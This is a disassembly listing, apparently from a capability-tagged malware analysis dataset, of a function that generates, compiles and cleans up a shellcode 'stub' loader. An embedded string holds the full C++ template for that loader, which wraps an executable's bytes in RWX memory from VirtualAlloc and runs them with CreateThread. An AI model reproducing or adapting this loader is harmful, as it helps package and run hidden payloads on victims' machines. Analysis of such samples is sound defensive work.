Function at 0x4019fd
Capabilities:
Copy file
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x36c
lea eax, [ebp - 0x205]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x220]
lea edx, [ebp - 0x205]
mov dword [esp + 4], edx
mov dword [esp], str.INFO
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x1e9]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x204]
lea edx, [ebp - 0x1e9]
mov dword [esp + 4], edx
mov dword [esp], str.Iniciando_generacin_del_stub
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x220]
mov dword [esp + 4], eax
lea eax, [ebp - 0x204]
mov dword [esp], eax
call dbg.WriteLog(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea eax, [ebp - 0x204]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x1e9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x220]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x205]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x238]
mov dword [esp], eax
call dbg.GetTempPathA[abi:cxx11]()
lea eax, [ebp - 0x250]
mov dword [esp + 8], str._stub.cpp
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
mov dword [esp + 4], 0x20
mov dword [esp], 0x10
call dbg.std::operator|(std::_Ios_Openmode, std::_Ios_Openmode)
mov edx, eax
lea eax, [ebp - 0x348]
mov dword [esp + 4], edx
lea edx, [ebp - 0x250]
mov dword [esp], edx
mov ecx, eax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x348]
add eax, 0x70
mov ecx, eax
call sym.std::basic_ios_char__std::char_traits_char___::operator____const
test al, al
je 0x401bdc
lea eax, [ebp - 0x1cd]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x1e8]
lea edx, [ebp - 0x1cd]
mov dword [esp + 4], edx
mov dword [esp], str.ERROR
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x1b1]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x1cc]
lea edx, [ebp - 0x1b1]
mov dword [esp + 4], edx
mov dword [esp], str.Error:_No_se_pudo_crear_el_archivo_stub
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x1e8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1cc]
mov dword [esp], eax
call dbg.WriteLog(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea eax, [ebp - 0x1cc]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x1b1]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x1e8]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x1cd]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov ebx, 0
jmp 0x4021cb
mov dword [esp + 4], str._ninclude__windows.h__ninclude__vector__ninclude__string__ninclude__iostream__ninclude__fstream__n_nusing_namespace_std__n_n___Shellcode_del_ejecutable_original_nunsigned_char_shellcode____
lea eax, [ebp - 0x348]
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
cmp eax, dword [ebp - 0x1c]
jbe 0x401ce6
cmp dword [ebp - 0x1c], 0
je 0x401c24
mov dword [esp + 4], 0x4081e7
lea eax, [ebp - 0x348]
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ecx, dword [ebp - 0x1c]
mov edx, 0xaaaaaaab
mov eax, ecx
mul edx
shr edx, 3
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, ecx
sub edx, eax
test edx, edx
jne 0x401c5a
mov dword [esp + 4], str._n
lea eax, [ebp - 0x348]
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
mov ecx, eax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::operator[](unsigned int) const
sub esp, 4
movzx eax, byte [eax]
movzx ebx, al
mov dword [esp], 0x30
call dbg.std::_Setfill<char> std::setfill<char>(char)
mov esi, eax
mov dword [esp], 2
call dbg.std::setw(int)
mov edi, eax
mov dword [esp + 4], 0x4081ef
lea eax, [ebp - 0x348]
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], dbg.std::hex(std::ios_base&)
mov ecx, eax
call sym.std::ostream::operator___std::ios_base____std::ios_base__
sub esp, 4
mov dword [esp + 4], edi
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setw_
mov edx, esi
mov byte [esp + 4], dl
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setfill_char__
mov dword [esp], ebx
mov ecx, eax
call sym.std::ostream::operator___int_
sub esp, 4
add dword [ebp - 0x1c], 1
jmp 0x401bf9
mov dword [esp + 4], str._n__n_nvoid_WriteLog_const_string_message__const_string_level___INFO____n____ofstream_logFile__stub.log___ios::app___n____if__logFile___n________time_t_now__time_nullptr___n________char_timestamp_26___n________strftime_timestamp__sizeof_timestamp_____Y__m__d__H:_M:_S___localtime_now____n________logFile___________timestamp____________level____________message____endl__n_____n_n_nint_main____n____try__n________WriteLog__Iniciando_stub...____INFO____n________SIZE_T_shellcode_size__sizeof_shellcode___n_________n________WriteLog__Asignando_memoria...____INFO____n________VOID_exec_mem__VirtualAlloc_NULL__shellcode_size___n____________________________________MEM_COMMIT__MEM_RESERVE___n____________________________________PAGE_EXECUTE_READWRITE___n_________n________if__exec_mem__NULL___n____________WriteLog__Error:_No_se_pudo_asignar_memoria____ERROR____n____________return_1__n_________n_n________WriteLog__Copiando_cdigo_a_memoria...____INFO____n________RtlMoveMemory_exec_mem__shellcode__shellcode_size___n_n________WriteLog__Ejecutando_cdigo...____INFO____n________HANDLE_hThread__CreateThread_NULL__0___n_____________________________________LPTHREAD_START_ROUTINE_exec_mem___n____________________________________NULL__0__NULL___n_n________if__hThread___NULL___n____________WaitForSingleObject_hThread__INFINITE___n____________CloseHandle_hThread___n____________WriteLog__Ejecucin_completada____SUCCESS____n_________else__n____________WriteLog__Error_al_crear_el_thread____ERROR____n____________VirtualFree_exec_mem__0__MEM_RELEASE___n____________return_1__n_________n_n________VirtualFree_exec_mem__0__MEM_RELEASE___n________return_0__n_____n____catch__const_exception_e___n________WriteLog__Error_crtico:____string_e.what______ERROR____n________return_1__n_____n_n
lea eax, [ebp - 0x348]
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea eax, [ebp - 0x348]
mov ecx, eax
call sym.std::basic_ofstream_char__std::char_traits_char___::close__
lea eax, [ebp - 0x195]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x1b0]
lea edx, [ebp - 0x195]
mov dword [esp + 4], edx
mov dword [esp], str.INFO
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x179]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x194]
lea edx, [ebp - 0x179]
mov dword [esp + 4], edx
mov dword [esp], str.Cdigo_del_stub_generado
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x194]
mov dword [esp], eax
call dbg.WriteLog(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea eax, [ebp - 0x194]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x179]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x1b0]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x195]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x148]
lea edx, [ebp - 0x250]
mov dword [esp + 8], edx
mov dword [esp + 4], str.g__
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x160]
mov dword [esp + 8], str.___o__
lea edx, [ebp - 0x148]
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea eax, [ebp - 0x178]
lea edx, [ebp - 0x238]
mov dword [esp + 8], edx
lea edx, [ebp - 0x160]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea eax, [ebp - 0x360]
mov dword [esp + 8], str._stub.exe___s
lea edx, [ebp - 0x178]
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea eax, [ebp - 0x178]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x160]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x148]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x115]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x130]
lea edx, [ebp - 0x115]
mov dword [esp + 4], edx
mov dword [esp], str.INFO
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xf9]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x114]
lea edx, [ebp - 0xf9]
mov dword [esp + 4], edx
mov dword [esp], str.Compilando_stub...
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x130]
mov dword [esp + 4], eax
lea eax, [ebp - 0x114]
mov dword [esp], eax
call dbg.WriteLog(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea eax, [ebp - 0x114]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0xf9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x130]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x115]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x360]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x401fd6
lea eax, [ebp - 0xdd]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0xf8]
lea edx, [ebp - 0xdd]
mov dword [esp + 4], edx
mov dword [esp], str.ERROR
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xc1]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0xdc]
lea edx, [ebp - 0xc1]
mov dword [esp + 4], edx
mov dword [esp], str.Error_al_compilar_el_stub
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xf8]
mov dword [esp + 4], eax
lea eax, [ebp - 0xdc]
mov dword [esp], eax
call dbg.WriteLog(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea eax, [ebp - 0xdc]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0xc1]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0xf8]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0xdd]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov ebx, 0
jmp 0x4021be
lea eax, [ebp - 0xc0]
mov dword [esp + 8], str._stub.exe
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea eax, [ebp - 0xc0]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp + 8], 0
mov dword [esp + 4], str.stub.exe
mov dword [esp], eax
call sym._CopyFileA_12
sub esp, 0xc
test eax, eax
sete bl
lea eax, [ebp - 0xc0]
mov ecx, eax
call fcn.004027b0
test bl, bl
je 0x4020e1
lea eax, [ebp - 0x8d]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0xa8]
lea edx, [ebp - 0x8d]
mov dword [esp + 4], edx
mov dword [esp], str.ERROR
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x71]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x8c]
lea edx, [ebp - 0x71]
mov dword [esp + 4], edx
mov dword [esp], str.Error_al_copiar_stub.exe
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xa8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x8c]
mov dword [esp], eax
call dbg.WriteLog(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea eax, [ebp - 0x8c]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x71]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0xa8]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x8d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov ebx, 0
jmp 0x4021be
lea eax, [ebp - 0x250]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
lea eax, [ebp - 0x70]
mov dword [esp + 8], str._stub.exe
lea edx, [ebp - 0x238]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea eax, [ebp - 0x70]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
lea eax, [ebp - 0x70]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x3d]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x3d]
mov dword [esp + 4], edx
mov dword [esp], str.INFO
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x21]
mov ecx, eax
call fcn.00402860
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x21]
mov dword [esp + 4], edx
mov dword [esp], str.Archivos_temporales_limpiados
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x58]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3c]
mov dword [esp], eax
call dbg.WriteLog(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
lea eax, [ebp - 0x3c]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x21]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x58]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x3d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov ebx, 1
lea eax, [ebp - 0x360]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x348]
mov ecx, eax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
lea eax, [ebp - 0x250]
mov ecx, eax
call fcn.004027b0
lea eax, [ebp - 0x238]
mov ecx, eax
call fcn.004027b0
mov eax, ebx
jmp 0x402462
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret